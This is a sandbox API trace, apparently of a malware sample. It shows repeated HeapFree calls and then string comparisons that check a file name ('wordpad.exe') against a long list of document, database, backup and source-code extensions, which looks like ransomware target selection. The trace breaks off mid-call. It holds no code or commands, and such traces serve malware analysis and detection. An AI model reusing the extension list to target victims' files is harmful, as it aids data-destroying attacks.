[0191.102] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0191.103] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0191.103] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0191.104] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0191.104] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0191.105] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0191.105] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0191.106] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0191.106] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0191.106] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0191.111] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46afff0 | out: hHeap=0x710000) returned 1 [0191.112] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46afff0 | out: hHeap=0x710000) returned 1 [0191.112] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x469ffe8 | out: hHeap=0x710000) returned 1 [0191.113] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0191.113] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0191.115] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0191.116] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0191.118] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0191.124] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0191.124] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0191.125] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0191.127] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0191.129] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0191.405] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0191.409] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0191.410] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0191.411] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0191.412] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0191.417] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0191.418] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0191.418] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0191.418] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0191.420] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0191.425] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0191.425] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0191.470] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0191.470] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0191.470] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0191.475] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0191.475] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0191.482] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0191.483] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0191.758] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0191.758] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0191.758] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0191.759] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0191.761] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0191.764] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0191.766] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0191.766] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0191.767] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0191.769] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0191.770] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0191.770] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0191.770] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0191.770] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0191.774] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0191.774] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0191.774] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0191.774] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0191.776] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0191.779] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0191.779] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0191.783] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0191.789] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0191.789] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0191.791] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0191.821] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0191.821] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0191.822] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0191.823] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0191.957] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0191.988] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0192.059] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0192.059] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0192.060] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0192.060] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0192.060] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0192.060] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0192.061] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0192.061] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0192.064] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0192.068] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0192.071] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0192.073] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0192.074] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0192.074] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0192.090] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0192.090] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0192.091] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0192.094] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0192.095] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0192.100] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0192.102] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0192.103] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0192.331] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0192.332] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0192.335] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0192.336] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0192.337] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0192.337] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0192.386] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0192.388] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0192.388] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0192.393] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0192.394] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0192.396] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0192.398] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0192.398] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0192.398] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0192.400] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0192.401] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0192.401] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0192.401] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0192.403] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0192.755] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0192.756] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0192.756] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0192.756] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0192.756] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0192.756] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0192.756] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0192.759] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0192.759] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0192.760] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0192.760] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0192.761] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0192.761] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0192.763] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0192.763] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0192.764] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0192.764] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0192.764] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0192.766] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0192.766] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0192.766] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0192.766] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0192.768] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0192.769] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0192.770] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0192.771] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0192.771] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0192.771] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0192.773] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0192.774] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0192.774] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0192.776] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0192.777] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0192.777] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0192.777] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0192.778] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0192.778] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0192.781] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0192.781] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0192.784] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0192.784] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0192.786] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0192.786] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0192.786] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0192.787] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0192.787] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0192.837] lstrlenW (lpString="wordpad.exe") returned 11 [0192.837] lstrlenW (lpString=".1cd") returned 4 [0192.837] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0192.837] lstrlenW (lpString=".3ds") returned 4 [0192.837] lstrcmpiW (lpString1=".3ds", lpString2=".exe") returned -1 [0192.837] lstrlenW (lpString=".3fr") returned 4 [0192.837] lstrcmpiW (lpString1=".3fr", lpString2=".exe") returned -1 [0192.837] lstrlenW (lpString=".3g2") returned 4 [0192.837] lstrcmpiW (lpString1=".3g2", lpString2=".exe") returned -1 [0192.837] lstrlenW (lpString=".3gp") returned 4 [0192.837] lstrcmpiW (lpString1=".3gp", lpString2=".exe") returned -1 [0192.838] lstrlenW (lpString=".7z") returned 3 [0192.838] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0192.838] lstrlenW (lpString=".accda") returned 6 [0192.838] lstrcmpiW (lpString1=".accda", lpString2="ad.exe") returned -1 [0192.838] lstrlenW (lpString=".accdb") returned 6 [0192.838] lstrcmpiW (lpString1=".accdb", lpString2="ad.exe") returned -1 [0192.838] lstrlenW (lpString=".accdc") returned 6 [0192.838] lstrcmpiW (lpString1=".accdc", lpString2="ad.exe") returned -1 [0192.838] lstrlenW (lpString=".accde") returned 6 [0192.838] lstrcmpiW (lpString1=".accde", lpString2="ad.exe") returned -1 [0192.838] lstrlenW (lpString=".accdt") returned 6 [0192.838] lstrcmpiW (lpString1=".accdt", lpString2="ad.exe") returned -1 [0192.838] lstrlenW (lpString=".accdw") returned 6 [0192.838] lstrcmpiW (lpString1=".accdw", lpString2="ad.exe") returned -1 [0192.838] lstrlenW (lpString=".adb") returned 4 [0192.838] lstrcmpiW (lpString1=".adb", lpString2=".exe") returned -1 [0192.838] lstrlenW (lpString=".adp") returned 4 [0192.838] lstrcmpiW (lpString1=".adp", lpString2=".exe") returned -1 [0192.838] lstrlenW (lpString=".ai") returned 3 [0192.838] lstrcmpiW (lpString1=".ai", lpString2="exe") returned -1 [0192.838] lstrlenW (lpString=".ai3") returned 4 [0192.838] lstrcmpiW (lpString1=".ai3", lpString2=".exe") returned -1 [0192.839] lstrlenW (lpString=".ai4") returned 4 [0192.839] lstrcmpiW (lpString1=".ai4", lpString2=".exe") returned -1 [0192.839] lstrlenW (lpString=".ai5") returned 4 [0192.839] lstrcmpiW (lpString1=".ai5", lpString2=".exe") returned -1 [0192.839] lstrlenW (lpString=".ai6") returned 4 [0192.839] lstrcmpiW (lpString1=".ai6", lpString2=".exe") returned -1 [0192.839] lstrlenW (lpString=".ai7") returned 4 [0192.839] lstrcmpiW (lpString1=".ai7", lpString2=".exe") returned -1 [0192.839] lstrlenW (lpString=".ai8") returned 4 [0192.839] lstrcmpiW (lpString1=".ai8", lpString2=".exe") returned -1 [0192.839] lstrlenW (lpString=".anim") returned 5 [0192.839] lstrcmpiW (lpString1=".anim", lpString2="d.exe") returned -1 [0192.839] lstrlenW (lpString=".arw") returned 4 [0192.839] lstrcmpiW (lpString1=".arw", lpString2=".exe") returned -1 [0192.839] lstrlenW (lpString=".as") returned 3 [0192.839] lstrcmpiW (lpString1=".as", lpString2="exe") returned -1 [0192.839] lstrlenW (lpString=".asa") returned 4 [0192.840] lstrcmpiW (lpString1=".asa", lpString2=".exe") returned -1 [0192.840] lstrlenW (lpString=".asc") returned 4 [0192.840] lstrcmpiW (lpString1=".asc", lpString2=".exe") returned -1 [0192.840] lstrlenW (lpString=".ascx") returned 5 [0192.840] lstrcmpiW (lpString1=".ascx", lpString2="d.exe") returned -1 [0192.840] lstrlenW (lpString=".asm") returned 4 [0192.840] lstrcmpiW (lpString1=".asm", lpString2=".exe") returned -1 [0192.840] lstrlenW (lpString=".asmx") returned 5 [0192.840] lstrcmpiW (lpString1=".asmx", lpString2="d.exe") returned -1 [0192.840] lstrlenW (lpString=".asp") returned 4 [0192.840] lstrcmpiW (lpString1=".asp", lpString2=".exe") returned -1 [0192.840] lstrlenW (lpString=".aspx") returned 5 [0192.840] lstrcmpiW (lpString1=".aspx", lpString2="d.exe") returned -1 [0192.840] lstrlenW (lpString=".asr") returned 4 [0192.840] lstrcmpiW (lpString1=".asr", lpString2=".exe") returned -1 [0192.840] lstrlenW (lpString=".asx") returned 4 [0192.840] lstrcmpiW (lpString1=".asx", lpString2=".exe") returned -1 [0192.840] lstrlenW (lpString=".avi") returned 4 [0192.840] lstrcmpiW (lpString1=".avi", lpString2=".exe") returned -1 [0192.840] lstrlenW (lpString=".avs") returned 4 [0192.840] lstrcmpiW (lpString1=".avs", lpString2=".exe") returned -1 [0192.841] lstrlenW (lpString=".backup") returned 7 [0192.841] lstrcmpiW (lpString1=".backup", lpString2="pad.exe") returned -1 [0192.841] lstrlenW (lpString=".bak") returned 4 [0192.841] lstrcmpiW (lpString1=".bak", lpString2=".exe") returned -1 [0192.841] lstrlenW (lpString=".bay") returned 4 [0192.841] lstrcmpiW (lpString1=".bay", lpString2=".exe") returned -1 [0192.841] lstrlenW (lpString=".bd") returned 3 [0192.841] lstrcmpiW (lpString1=".bd", lpString2="exe") returned -1 [0192.841] lstrlenW (lpString=".bin") returned 4 [0192.841] lstrcmpiW (lpString1=".bin", lpString2=".exe") returned -1 [0192.841] lstrlenW (lpString=".bmp") returned 4 [0192.841] lstrcmpiW (lpString1=".bmp", lpString2=".exe") returned -1 [0192.841] lstrlenW (lpString=".bz2") returned 4 [0192.841] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0192.841] lstrlenW (lpString=".c") returned 2 [0192.841] lstrcmpiW (lpString1=".c", lpString2="xe") returned -1 [0192.841] lstrlenW (lpString=".cdr") returned 4 [0192.841] lstrcmpiW (lpString1=".cdr", lpString2=".exe") returned -1 [0192.841] lstrlenW (lpString=".cer") returned 4 [0192.841] lstrcmpiW (lpString1=".cer", lpString2=".exe") returned -1 [0192.841] lstrlenW (lpString=".cf") returned 3 [0192.841] lstrcmpiW (lpString1=".cf", lpString2="exe") returned -1 [0192.842] lstrlenW (lpString=".cfc") returned 4 [0192.842] lstrcmpiW (lpString1=".cfc", lpString2=".exe") returned -1 [0192.842] lstrlenW (lpString=".cfm") returned 4 [0192.842] lstrcmpiW (lpString1=".cfm", lpString2=".exe") returned -1 [0192.842] lstrlenW (lpString=".cfml") returned 5 [0192.842] lstrcmpiW (lpString1=".cfml", lpString2="d.exe") returned -1 [0192.842] lstrlenW (lpString=".cfu") returned 4 [0192.842] lstrcmpiW (lpString1=".cfu", lpString2=".exe") returned -1 [0192.842] lstrlenW (lpString=".chm") returned 4 [0192.842] lstrcmpiW (lpString1=".chm", lpString2=".exe") returned -1 [0192.842] lstrlenW (lpString=".cin") returned 4 [0192.843] lstrcmpiW (lpString1=".cin", lpString2=".exe") returned -1 [0192.843] lstrlenW (lpString=".class") returned 6 [0192.843] lstrcmpiW (lpString1=".class", lpString2="ad.exe") returned -1 [0192.843] lstrlenW (lpString=".clx") returned 4 [0192.843] lstrcmpiW (lpString1=".clx", lpString2=".exe") returned -1 [0192.843] lstrlenW (lpString=".config") returned 7 [0192.843] lstrcmpiW (lpString1=".config", lpString2="pad.exe") returned -1 [0192.843] lstrlenW (lpString=".cpp") returned 4 [0192.843] lstrcmpiW (lpString1=".cpp", lpString2=".exe") returned -1 [0192.843] lstrlenW (lpString=".cr2") returned 4 [0192.843] lstrcmpiW (lpString1=".cr2", lpString2=".exe") returned -1 [0192.843] lstrlenW (lpString=".crt") returned 4 [0192.843] lstrcmpiW (lpString1=".crt", lpString2=".exe") returned -1 [0192.843] lstrlenW (lpString=".crw") returned 4 [0192.843] lstrcmpiW (lpString1=".crw", lpString2=".exe") returned -1 [0192.843] lstrlenW (lpString=".cs") returned 3 [0192.843] lstrcmpiW (lpString1=".cs", lpString2="exe") returned -1 [0192.843] lstrlenW (lpString=".css") returned 4 [0192.843] lstrcmpiW (lpString1=".css", lpString2=".exe") returned -1 [0192.843] lstrlenW (lpString=".csv") returned 4 [0192.844] lstrcmpiW (lpString1=".csv", lpString2=".exe") returned -1 [0192.844] lstrlenW (lpString=".cub") returned 4 [0192.844] lstrcmpiW (lpString1=".cub", lpString2=".exe") returned -1 [0192.844] lstrlenW (lpString=".dae") returned 4 [0192.844] lstrcmpiW (lpString1=".dae", lpString2=".exe") returned -1 [0192.844] lstrlenW (lpString=".dat") returned 4 [0192.844] lstrcmpiW (lpString1=".dat", lpString2=".exe") returned -1 [0192.844] lstrlenW (lpString=".db") returned 3 [0192.844] lstrcmpiW (lpString1=".db", lpString2="exe") returned -1 [0192.844] lstrlenW (lpString=".dbf") returned 4 [0192.844] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0192.844] lstrlenW (lpString=".dbx") returned 4 [0192.844] lstrcmpiW (lpString1=".dbx", lpString2=".exe") returned -1 [0192.844] lstrlenW (lpString=".dc3") returned 4 [0192.844] lstrcmpiW (lpString1=".dc3", lpString2=".exe") returned -1 [0192.844] lstrlenW (lpString=".dcm") returned 4 [0192.844] lstrcmpiW (lpString1=".dcm", lpString2=".exe") returned -1 [0192.844] lstrlenW (lpString=".dcr") returned 4 [0192.844] lstrcmpiW (lpString1=".dcr", lpString2=".exe") returned -1 [0192.844] lstrlenW (lpString=".der") returned 4 [0192.845] lstrcmpiW (lpString1=".der", lpString2=".exe") returned 